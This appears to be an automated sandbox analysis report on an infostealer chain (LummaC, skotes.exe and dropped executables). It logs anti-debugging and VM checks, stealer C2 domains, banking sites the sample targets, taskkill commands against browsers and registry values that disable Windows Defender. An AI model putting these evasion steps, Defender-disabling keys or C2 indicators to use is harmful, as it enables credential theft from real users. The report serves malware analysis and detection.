Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 4312	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 7092	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 6692	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 7328	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 4696	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 1340	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe TID: 5464	Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe TID: 6796	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe TID: 6012	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe TID: 6468	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe TID: 2756	Thread sleep count: 308 > 30
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe TID: 2756	Thread sleep time: -1848000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe TID: 5264	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe TID: 2460	Thread sleep time: -32016s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: skotes.exe, skotes.exe, 0000000C.00000002.1733286709.0000000000AB2000.00000040.00000001.01000000.00000009.sdmp, JSB9K8LR5IJBR9A62C6KA1RW.exe, JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1910538724.0000000000F8B000.00000040.00000001.01000000.0000000A.sdmp, K2GPLQXM988TEBRN5R.exe, K2GPLQXM988TEBRN5R.exe, 00000013.00000000.2069899286.0000000000409000.00000080.00000001.01000000.0000000C.sdmp, K2GPLQXM988TEBRN5R.exe, 00000013.00000002.2225588647.0000000000409000.00000040.00000001.01000000.0000000C.sdmp, ea19c894e7.exe, 00000015.00000002.2240709504.00000000012FB000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe, 0000000A.00000003.1671516105.00000000013B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.0000000001845000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: df757a3a2c.exe, 00000016.00000003.2565648472.000000000068F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000006.00000003.1653097468.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.0000000001875000.00000004.00000020.00020000.00000000.sdmp, ea19c894e7.exe, 00000015.00000002.2239265604.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp, ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000025.00000002.2462144555.000001F83BCC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarer
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000006.00000003.1653097468.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnW
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware$
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe, 0000000A.00000002.1708010914.0000000000ED2000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, 0000000B.00000002.1728116673.0000000000AB2000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 0000000C.00000002.1733286709.0000000000AB2000.00000040.00000001.01000000.00000009.sdmp, JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1910538724.0000000000F8B000.00000040.00000001.01000000.0000000A.sdmp, K2GPLQXM988TEBRN5R.exe, 00000013.00000000.2069899286.0000000000409000.00000080.00000001.01000000.0000000C.sdmp, K2GPLQXM988TEBRN5R.exe, 00000013.00000002.2225588647.0000000000409000.00000040.00000001.01000000.0000000C.sdmp, ea19c894e7.exe, 00000015.00000002.2240709504.00000000012FB000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: df757a3a2c.exe, 00000016.00000003.2357252991.00000000051F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

Code function: 10_2_050707DB rdtsc

10_2_050707DB

Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: JSB9K8LR5IJBR9A62C6KA1RW.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ea19c894e7.exe PID: 4332, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000006.00000003.1301876616.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000006.00000003.1301876616.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000006.00000003.1301876616.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000006.00000003.1301876616.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000006.00000003.1301876616.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000006.00000003.1301876616.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000006.00000003.1301876616.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000006.00000003.1301876616.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe "C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe "C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe "C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001636001\num.exe "C:\Users\user~1\AppData\Local\Temp\1001636001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: 582b1c6d88.exe, 00000017.00000000.2268904879.00000000006E2000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 0000000C.00000002.1733286709.0000000000AB2000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe, JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1910538724.0000000000F8B000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: ]~Program Manager
Source: K2GPLQXM988TEBRN5R.exe, K2GPLQXM988TEBRN5R.exe, 00000013.00000002.2227058400.000000000044C000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: CProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001636001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001636001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Queries volume information: unknown VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
